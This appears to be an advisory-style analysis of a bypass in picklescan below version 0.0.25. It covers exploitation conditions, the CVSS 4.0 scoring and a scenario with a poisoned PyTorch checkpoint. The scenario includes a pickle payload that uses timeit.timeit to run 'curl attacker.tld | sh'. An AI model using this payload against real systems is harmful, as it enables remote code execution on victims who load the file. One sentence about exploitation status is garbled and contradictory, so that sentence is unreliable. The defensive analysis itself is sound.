picklescan EUVD-2025-210292

Exploitation requires three concrete conditions: (1) the victim ingests a pickle file (typically a PyTorch .pt/.pkl model artefact) supplied by the attacker, e.g. from a public model hub, email, or shared storage; (2) the victim uses picklescan at a version below 0.0.25 as their vetting tool and trusts its 'clean' verdict - this is the configuration condition that makes the bypass meaningful; and (3) the victim then calls pickle.load() (or torch.load with the default pickle module) on that file in a process with the privileges the attacker wants to acquire. Limiting factors per the CVSS 4.0 vector are AT:P (the picklescan-then-load workflow must exist) and UI:P (a human must choose to load the file); the bypass does not fire against pipelines that already refuse untrusted pickles, use safetensors, or sandbox deserialization, and it does not give the attacker any foothold without that load step.

CVSS 4.0 scores this 7.6 (High) with AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N - network reachable, no privileges, but requiring both an attack precondition (AT:P, i.e. the victim must use picklescan and then load the file) and active user interaction (UI:P, the victim must choose to pickle.load the untrusted artefact). No EPSS or CISA KEV data is provided, so there is no public exploitation telemetry; the vulnerability is confirmed actively exploited status does not apply, and publicly available exploit code exists in the GHSA advisory PoC. Real-world risk is meaningful but conditional: it materialises only in pipelines that (a) ingest third-party pickle/PyTorch artefacts and (b) rely on picklescan as the gating control rather than sandboxing. Confidentiality and integrity impact are High (full code execution in the loader's process) while availability is rated None, which is conservative given that arbitrary commands could trivially disrupt availability - defenders should treat VA as effectively High in practice.

An attacker publishes a poisoned PyTorch checkpoint to a model hub or sends one to a target ML engineer; the file's pickle stream uses __reduce__ to return (timeit.timeit, ('', 'import os; os.system("curl attacker.tld | sh")')). The defender runs picklescan, which reports zero infected files and zero dangerous globals, then calls pickle.load() - at which point timeit.timeit exec()s the embedded Python and the os.system shell command runs as the loading process. A working PoC is published in the GHSA advisory.